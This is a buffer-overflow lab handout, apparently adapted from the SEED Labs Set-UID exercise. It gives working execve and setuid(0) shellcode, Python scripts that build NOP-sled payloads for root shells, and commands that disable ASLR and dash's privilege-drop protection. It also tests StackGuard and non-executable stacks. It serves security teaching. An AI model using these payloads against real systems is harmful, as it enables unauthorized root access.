Buffer Overflow Attack Lab

Table of Contents:

Overview 2
Environment Setup 3
Task 1: Getting Familiar with Shellcode: 4
Task 2: Understanding the Vulnerable Program 6
Task 3: Launching the Attack on the intended Program 7
Task 3.1: Launching Attack on 32-bit Program (Level 1) 7
Task 3.2: Launching Attack without Knowing Buffer Size (Level 2) 10
Task 4: Defeating the Countermeasures 13
Tasks 4.1: Defeating dash's Countermeasure 13
Task 4.2: Defeating Address Randomization 16
Tasks 5: Experimenting with Other Countermeasures 18
Task 5.1: Turn on the StackGuard Protection 18
Task 5.2: Turn on the Non-executable Stack Protection 19
Submission 20

Overview

Overview Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code. The objective of this lab is for students to gain practical insights into this type of vulnerability, and learn how to exploit the vulnerability in attacks.

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter buffer overflow attacks. Students need to evaluate whether the schemes work or not and explain why.

This lab covers the following topics:

- Buffer overflow vulnerability and attack
- Stack layout
- Address randomization, non-executable stack, and StackGuard
- Shellcode (32-bit and 64-bit)
- The return-to-libc attack, which aims at defeating the non-executable stack countermeasure, is covered in a separate lab.

This lab has been tested within the seed labs 20.04 VM. You are to download the Labsetup.zip file within this VM and perform the tasks here. The Labsetup.zip file can be found at https://seedsecuritylabs.org/Labs_20.04/Software/Buffer_Overflow_Setuid/.

Environment Setup

Turning Off Countermeasures

Modern operating systems have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them and see whether our attack can still be successful or not.

Address Space Randomization. Ubuntu and several other Linux-based systems use address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks.

1. First we will disable address space randomization and to do so open up a terminal and run the following command:

$ sudo sysctl -w kernel.randomize_va_space=0

Configuring /bin/sh. In the recent versions of Ubuntu OS, the `/bin/sh` symbolic link points to the `/bin/dash` shell. The dash program, as well as bash, has implemented a security countermeasure that prevents itself from being executed in a Set-UID process. Basically, if they detect that they are executed in a Set-UID process, they will immediately change the effective user ID to the process's real user ID, essentially dropping the privilege.

Since our victim program is a Set-UID program, and our attack relies on running `/bin/sh`, the countermeasure in /`bin/dash` makes our attack more difficult. Therefore, we will link `/bin/sh` to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in `/bin/dash` can be easily defeated). We have installed a shell program called `zsh` in our Ubuntu 20.04 VM.

2. Use the following command to link /bin/sh to /bin/zsh:

$ sudo ln -sf /bin/zsh /bin/sh

Please note that these changes do not persist and have to be re-run if you open a new terminal window.

Task 1: Getting Familiar with Shellcode:

The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program's privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task.

The C Version of Shellcode

A shellcode is basically a piece of code that launches a shell. If we use C code to implement it, it will look like the following:

```
#include <stdio.h>
int main() {
      char *name[2];
      name[0] = "/bin/sh";
      name[1] = NULL;
      execve(name[0], name, NULL);
}
```

Unfortunately, we cannot just compile this code and use the binary code as our shellcode (detailed explanation is provided in the SEED book). The best way to write a shellcode is to use assembly code. In this lab, we only provide the binary version of a shellcode, without explaining how it works (it is non-trivial). If you are interested in how exactly shellcode works and you want to write a shellcode from scratch, you can learn that from a separate SEED lab called Shellcode Lab.

32-bit Shellcode

```
; Store the command on stack
xor  eax, eax
push eax
push "//sh"
push "/bin"
mov  ebx, esp     ; ebx --> "/bin//sh": execve()'s 1st argument

; Construct the argument array argv[]
push eax          ; argv[1] = 0
push ebx          ; argv[0] --> "/bin//sh"
mov  ecx, esp     ; ecx --> argv[]: execve()'s 2nd argument

; For environment variable
xor  edx, edx     ; edx = 0: execve()'s 3rd argument

; Invoke execve()
xor  eax, eax     ;
mov  al,  0x0b    ; execve()'s system call number
int  0x80
```

The shellcode above basically invokes the execve() system call to execute /bin/sh. In a separate SEED lab, the Shellcode lab, we guide students to write shellcode from scratch. Here we only give a very brief explanation.

• The third instruction pushes "//sh", rather than "/sh" into the stack. This is because we need a 32-bit number here, and "/sh" has only 24 bits. Fortunately, "//" is equivalent to "/", so we can get away with a double slash symbol.
• We need to pass three arguments to execve() via the ebx, ecx and edx registers, respectively. The majority of the shellcode basically constructs the content for these three arguments.
• The system call execve() is called when we set al to 0x0b, and execute "int 0x80".

64-Bit Shellcode

We provide a sample 64-bit shellcode in the following. It is quite similar to the 32-bit shellcode, except that the names of the registers are different and the registers used by the execve() system call are also different. Some explanation of the code is given in the comment section, and we will not provide a detailed explanation on the shellcode.

```
xor   rdx, rdx          ; rdx = 0: execve()'s 3rd argument
push  rdx
mov   rax, '/bin//sh'   ; the command we want to run
push  rax               ;
mov   rdi, rsp          ; rdi --> "/bin//sh": execve()'s 1st argument
push  rdx               ; argv[1] = 0
push  rdi               ; argv[0] --> "/bin//sh"
mov   rsi, rsp          ; rsi --> argv[]: execve()'s 2nd argument
xor   rax, rax
mov   al,  0x3b         ; execve()'s system call number
syscall
```

Invoking the Shellcode

We have generated the binary code from the assembly code above, and put the code in a C program called call `shellcode.c` inside the `shellcode` folder. If you would like to learn how to generate the binary code yourself, you should work on the Shellcode lab. In this task, we will test the shellcode.

When we compile the program using the `-m32` flag, the 32-bit version will be used; without this flag, the 64-bit version will be used. Using the provided Makefile, you can compile the code by typing make. Two binaries will be created, `a32.out` (32-bit) and `a64.out` (64-bit).

Run them and describe your observations. It should be noted that the compilation uses the `execstack` option, which allows code to be executed from the stack; without this option, the program will fail.

All files for this task can be found in the **shellcode** folder inside the **Labsetup** folder, move into this folder to perform this task.

1. We first compile the "shellcode.c" file using the make command. The "Makefile" file contains all the compilation commands required to create the 32 and 64 bit executables with all the required flags and options and will be executed when we run the make command.

Commands :

$ make

2. We will now execute the 32 bit executable called "a32.out". After running the executable exit out of the newly spawned shell before continuing with the next set of commands.

Commands:

$ ./a32.out
$ exit

3. We will now execute the 64 bit executable called "a64.out". After running the executable exit out of the newly spawned shell before continuing with the next task.

$ ./a64.out
$ exit

Take appropriate screenshots and report your observations with appropriate explanations.

Task 2: Understanding the Vulnerable Program

The vulnerable program used in this lab is called `stack.c`, which is in the `code` folder. This program has a buffer-overflow vulnerability, and your job is to exploit this vulnerability and gain the root privilege. It first reads an input from a file called `badfile`, and then passes this input to another buffer in the function `bof()`. The original input can have a maximum length of 517 bytes, but the buffer in `bof()` is only `BUF_SIZE` bytes long, which is less than 517. Because `strcpy()` does not check boundaries, buffer overflow will occur.

Since this program is a root-owned Set-UID program, if a normal user can exploit this buffer overflow vulnerability, the user might be able to get a root shell. It should be noted that the program gets its input from a file called `badfile`. This file is under users' control. Now, our objective is to create the contents for `badfile`, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

Compilation. The compilation and setup commands are already included in `Makefile`, so we just need to type `make` to execute those commands. The variables `L1 , L2 , L3 , L4` are set in Makefile; they will be used during the compilation.

For this task move into the **`code`** folder that is within the **`Labsetup`** folder. We will now compile our vulnerable "stack.c" file just like we did in the previous task.

Command:

$ make

Take appropriate screenshots and report your observations with appropriate explanations.

Task 3: Launching the Attack on the intended Program

Task 3.1: Launching Attack on 32-bit Program (Level 1)

To exploit the buffer-overflow vulnerability in the target program, the most important thing to know is the distance between the buffer's starting position and the place where the return-address is stored. We will use a debugging method to find it out. Since we have the source code of the target program, we can compile it with the debugging flag turned on. That will make it more convenient to debug.

1. We must first create an empty "`badfile`" which will contain our exploit code when we are performing the buffer overflow attack. This file will remain empty while we are debugging the executables. Now we run gdb and we will be using the debugging executable created for stack-L1.

Commands :

$ touch badfile
$ gdb stack-L1-dbg

2. We shall set a breakpoint at the `bof()` function in the "`stack.c`" program before we run the executable in gdb.

Commands:

gdb-peda$ b bof
gdb-peda$ run

3. We use next to continue to the next source line in the current stack frame. This is to ensure that ebp points to the bof() functions stack frame (Refer Note 1). We then print out the address values of the ebp register and the buffer variable.

Commands:

gdb-peda$ next
gdb-peda$ p $ebp
gdb-peda$ p &buffer

4. Print the difference between the ebp register and the buffer variable in decimal before quitting out of gdb.

Commands:

gdb-peda$ p/d [address of ebp]-[address of buffer variable]
gdb-peda$ q

Note 1. When gdb stops inside the `bof()` function, it stops before the `ebp` register is set to point to the current stack frame, so if we print out the value of ebp here, we will get the caller's `ebp` value. We need to use next to execute a few instructions and stop after the `ebp` register is modified to point to the stack frame of the `bof()` function. The SEED book is based on Ubuntu 16.04, and gdb's behavior is slightly different, so the book does not have the `next` step.

Note 2. It should be noted that the frame pointer value obtained from gdb is different from that during the actual execution (without using gdb). This is because gdb has pushed some environment data into the stack before running the debugged program. When the program runs directly without using gdb, the stack does not have that data, so the actual frame pointer value will be larger. You should keep this in mind when constructing your payload.

Launching the attack

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside the `badfile`. We will use a Python program to do that. We provide a skeleton program called `exploit.py`, which is included in the lab setup file. The code is incomplete, and students need to replace **ONLY THE ADDRESS** value specified by the **`ret`** variable in the code.

The return address that will be stored in the `ret` variable will be equal to:
[value of &buffer] + 0x120

This address of the buffer variable was previously obtained by running "**p &buffer**" in gdb. We must also ensure that our resulting address contains no "0"s as this will cause `strcpy()` to stop copying all data from our badfile following the address containing this "0".

exploit-L1.py

```
#!/usr/bin/python3
import sys

shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)
print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xFFFFFFFF      # Change this value
offset =  112

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
   f.write(content)
```

Create the `exploit-L1.py` file and complete the exploit code.

Before running the above exploit generation code, ensure that you have created the `badfile` to which this content will be written to.

After you have completed the above program, run it. This will generate the contents for the `badfile`. Then run the vulnerable program `stack-L1`. If your exploit is implemented correctly, you should be able to get a root shell.

5. First we make our exploit file executable and then we run it to generate the exploit code which will be stored in the "`badfile`". Then we run our vulnerable `stack-L1` executable.

Commands:

$ chmod u+x exploit-L1.py
$ ./exploit-L1.py
$ ./stack-L1

6. If your attack was successful you should have gotten a root shell and so you must exit this before continuing with the next task.

Command:

exit

Take appropriate screenshots and report your observations with appropriate explanations.

Task 3.2: Launching Attack without Knowing Buffer Size (Level 2)

In the Level-1 attack, using `gdb`, we get to know the size of the buffer. In the real world, this piece of information may be hard to get. For example, if the target is a server program running on a remote machine, we will not be able to get a copy of the binary or source code. In this task, we are going to add a constraint: you can still use `gdb`, but you are not allowed to derive the buffer size from your investigation. Actually, the buffer size is provided in `Makefile`, but you are not allowed to use that information in your attack.

Your task is to get the vulnerable program to run your shellcode under this constraint. We assume that you do know the range of the buffer size, which is from 100 to 200 bytes. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always multiple of four (for 32-bit programs).

Please be noted, you are only allowed to construct one payload that works for any buffer size within this range. You will not get all the credits if you use the brute-force method, i.e., trying one buffer size each time. The more you try, the easier it will be detected and defeated by the victim. That's why minimizing the number of trials is important for attacks. In your lab report, you need to describe your method, and provide evidence.

1. We will first remove the old badfile and recreate a new empty badfile. Now we run gdb and we will be using the debugging executable created for stack-L2.

Commands :

$ rm badfile
$ touch badfile
$ gdb stack-L2-dbg

2. We shall set a breakpoint at the `bof()` function in the "`stack.c`" program before we run the executable in gdb.

Commands :

gdb-peda$ b bof
gdb-peda$ run

3. We use next to continue to the next source line in the current stack frame. This is to ensure that ebp points to the bof() functions stack frame. We then print out the address values of the buffer variable. We can then quit out of gdb.

gdb-peda$ next
gdb-peda$ p &buffer
gdb-peda$ q

Launching the attack

The code given is incomplete, and students need to replace **ONLY THE ADDRESS** value specified by the **`ret`** variable in the code.

The return address that will be stored in the `ret` variable will be equal to:
[value of &buffer] + 400

This address of the buffer variable was previously obtained by running "**p &buffer**" in gdb. We must also ensure that our resulting address contains no "0"s as this will cause `strcpy()` to stop copying all data from our badfile following the address containing this "0".

exploit-L2.py

```
#!/usr/bin/python3
import sys

shellcode= (
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517-len(shellcode)
#print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xFFFFFF      # Change this number
offset =  112

L = 4     # Use 4 for 32-bit address and 8 for 64-bit address

while offset<=212:
   content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
   offset=offset + 4
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

Create the `exploit-L2.py` file and complete the exploit code.

4. First we make our exploit file executable and then we run it to generate the exploit code which will be stored in the "`badfile`". Then we run our vulnerable `stack-L2` executable.

Commands:

$ chmod u+x exploit-L2.py
$ ./exploit-L2.py
$ ./stack-L2

Take appropriate screenshots and report your observations with appropriate explanations.

Tasks 4: Defeating the Countermeasures

Task 4.1: Defeating dash's Countermeasure

The `dash` shell in the Ubuntu OS drops privileges when it detects that the effective UID does not equal the real UID (which is the case in a `Set-UID` program). This is achieved by changing the effective UID back to the real UID, essentially, dropping the privilege. In the previous tasks, we let `/bin/sh` point to another shell called `zsh`, which does not have such a countermeasure. In this task, we will change it back, and see how we can defeat the countermeasure.

1. Please do the following, so `/bin/sh` points back to `/bin/dash`.

Command:

$ sudo ln -sf /bin/dash /bin/sh

To defeat the countermeasure in buffer-overflow attacks, all we need to do is to change the real UID, so it equals the effective UID. When a root-owned `Set-UID` program runs, the effective UID is zero, so before we invoke the shell program, we just need to change the real UID to zero. We can achieve this by invoking `setuid(0)` before executing `execve()` in the shellcode. The following assembly code shows how to invoke `setuid(0)`.

```
; Invoke setuid(0): 32-bit
xor ebx, ebx      ; ebx = 0: setuid()'s argument
xor eax, eax
mov  al, 0xd5     ; setuid()'s system call number
int 0x80

; Invoke setuid(0): 64-bit
xor rdi, rdi      ; rdi = 0: setuid()'s argument
xor rax, rax
mov  al, 0x69     ; setuid()'s system call number
syscall
```

For this part of the task you need to navigate back to the shellcode directory in the Labsetup folder.

Run the shellcode `a32.out` and `a64.out` with and without the `setuid(0)` system call and show that you can defeat dash's countermeasure.

2. First we run the executables without updating the `shellcode` variable in the "`call_shellcode.c`" file first. We create the executables using make if not done already.

Command:

$ make

3. We will now execute the 32 bit executable called "a32.out". After running the executable exit out of the newly spawned shell before continuing with the next set of commands.

Commands:

$ ./a32.out
$ exit

4. We will now execute the 64 bit executable called "a64.out". After running the executable exit out of the newly spawned shell before continuing with the next task.

Commands:

$ ./a64.out
$ exit

Now we update the `shellcode` variable in the `call_shellcode.c` file. To do this we add the binary code to call setuid(0) to the first lines of the shellcode variable. The binary code for setuid(0) can be found inside the `call_shellcode.c` file but here we provide the completed binary code for this task.

```
const char shellcode[] =
#if __x86_64__
  "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05"
  "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
  "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
  "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;
```

5. Now we compile `call_shellcode.c` into root-owned binary using make.

Commands:

$ make setuid

6. We will now execute the 32 bit executable. After running the executable exit out of the newly spawned shell before continuing with the next set of commands.

Commands:

$ ./a32.out
exit

7. We will now execute the 64 bit executable. After running the executable exit out of the newly spawned shell before continuing with the next task.

Commands:

$ ./a64.out
exit

Now we can navigate back to the `code` directory and continue with this task.

Now, using the updated shellcode, we can attempt the attack again on the vulnerable program, and this time, with the shell's countermeasure turned on. Repeat your attack on Level 1, and see whether you can get the root shell. **The address value to be filled in for the `ret` variable will be the same as used in task 3.**

Create and save the new exploit-L1-5.py file.

exploit-L1-5.py

```
#!/usr/bin/python3
import sys

shellcode= (
  "\x31\xdb\x31\xc0\xb0\xd5\xcd\x80"
  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
  "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
```

```
start = 517-len(shellcode)
print(len(shellcode))
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
ret    = 0xFFFFFFFF     # Change this number
offset =  112
L = 4     # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
####################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
  f.write(content)
```

8. First we shall remove and recreate an empty badfile before performing the attack.

Commands:

$ rm badfile
$ touch badfile

9. We will make our exploit file executable and then we run it to generate the exploit code which will be stored in the "`badfile`". Then we run the vulnerable `stack-L1` executable again.

Commands:

$ chmod u+x exploit-L1-5.py
$ ./exploit-L1-5.py
$ ./stack-L1

10. If your attack was successful you will have a root shell. Now to verify if the attack was conducted correctly and a root shell was obtained run the following commands in the newly spawned shell:

Commands:

whoami
ls -l /bin/sh /bin/zsh /bin/dash

11. Exit out of the root shell before proceeding further.

Command:

exit

Take appropriate screenshots and report your observations with appropriate explanations.

Task 4.2: Defeating Address Randomization

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have `2^19 = 524,288` possibilities. This number is not that high and can be exhausted easily with the brute-force approach. In this task, we use such an approach to defeat the address randomization countermeasure on our 32-bit VM.

For this task we will be using the same executable as we did in task 3. If you have closed your terminal and opened a new window, verify whether the buffer variable's address has changed and redo the environment setup and the steps in task 3 if it has.

1. First we must use the following command to link /bin/sh back to /bin/zsh:

$ sudo ln -sf /bin/zsh /bin/sh

2. First, we turn on Ubuntu's address randomization. Make sure you remove and recreate an empty badfile before generating your exploit code.

Commands:

$ sudo /sbin/sysctl -w kernel.randomize_va_space=2
$ rm badfile
$ touch badfile

3. Run the `exploit-L1` python file and execute our vulnerable `stack-L1` executable.

Commands:

$ ./exploit-L1.py
$ ./stack-L1

We then use the brute-force approach to attack the vulnerable program repeatedly, hoping that the address we put in the badfile can eventually be correct. We will only try this on `stack-L1`, which is a 32-bit program. You can use the following shell script to run the vulnerable program in an infinite loop. If your attack succeeds, the script will stop; otherwise, it will keep running. Please be patient, as this may take a few minutes, but if you are very unlucky, it may take longer.

4. To obtain a root shell we will run the brute-force shell script.

Command:

$ ./brute-force.sh

Use CTRL + C to stop the shell script.

5. Exit out of the shell obtained before continuing.

Command:

exit

Take appropriate screenshots and report your observations with appropriate explanations.

Tasks 5: Experimenting with Other Countermeasures

Task 5.1: Turn on the StackGuard Protection

Many compilers, such as gcc, implement a security mechanism called StackGuard to prevent buffer overflows. In the presence of this protection, buffer overflow attacks will not work. In our previous tasks, we disabled the StackGuard protection mechanism when compiling the programs. In this task, we will turn it on and see what will happen.

1. **First, repeat the Task 3 attack with the StackGuard off, and make sure that the attack is still successful.** Remember to turn off the address randomization, because you have turned it on in the previous task:

$ sudo sysctl -w kernel.randomize_va_space=0

Then, we turn on the StackGuard protection by recompiling the vulnerable stack.c program without the -fno-stack-protector flag. **We will not be modifying the exploit file before executing the commands given below**.

2. To enable the stack protector feature, remove the " `-fno-stack-protector`" flag from the "`FLAGS`" variable in the `Makefile` and save it.

```
FLAGS    = -z execstack -fno-stack-protector
FLAGS_32 = -m32
TARGET   = stack-L1 stack-L2 stack-L3 stack-L4 stack-L1-dbg stack-L2-dbg stack-L3-dbg stack-L4-dbg

L1 = 100
L2 = 160
L3 = 200
L4 = 10
```

3. Remove the old `stack-L1` executable and run make again before running the vulnerable executable again.

Commands:

$ make

$ ./stack-L1

Take appropriate screenshots and report your observations with appropriate explanations.

Task 5.2: Turn on the Non-executable Stack Protection

Operating systems used to allow executable stacks, but this has now changed: In Ubuntu OS, the binary images of programs (and shared libraries) must declare whether they require executable stacks or not, i.e., they need to mark a field in the program header. Kernel or dynamic linker uses this marking to decide whether to make the stack of this running program executable or non-executable.

This marking is done automatically by the gcc, which by default makes stack non-executable. We can specifically make it non-executable using the "`-z noexecstack`" flag in the compilation. In our previous tasks, we used "-z execstack" to make stacks executable.

1. We will do this experiment in the `shellcode` directory so navigate there before proceeding.

The call shellcode program puts a copy of shellcode on the stack, and then executes the code from the stack. Please recompile call shellcode.c into `a32.out` and `a64.out`, without the "`-z execstack`" option.

2. Remove the "`-z execstack` " flag from the "`all`:" section of the `Makefile`.

```
all:
        gcc -m32 -z execstack -o a32.out call_shellcode.c
        gcc -z execstack -o a64.out call_shellcode.c
```

3. Once done remove the old executables and compile the "shellcode.c" file using the make command. Then execute the 32 bit executable called "a32.out".

Commands:

$ make
$ ./a32.out

4. We will now execute the 64 bit executable called “a64.out”.

$ ./a64.out

Take appropriate screenshots and report your observations with appropriate explanations.

Submission

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.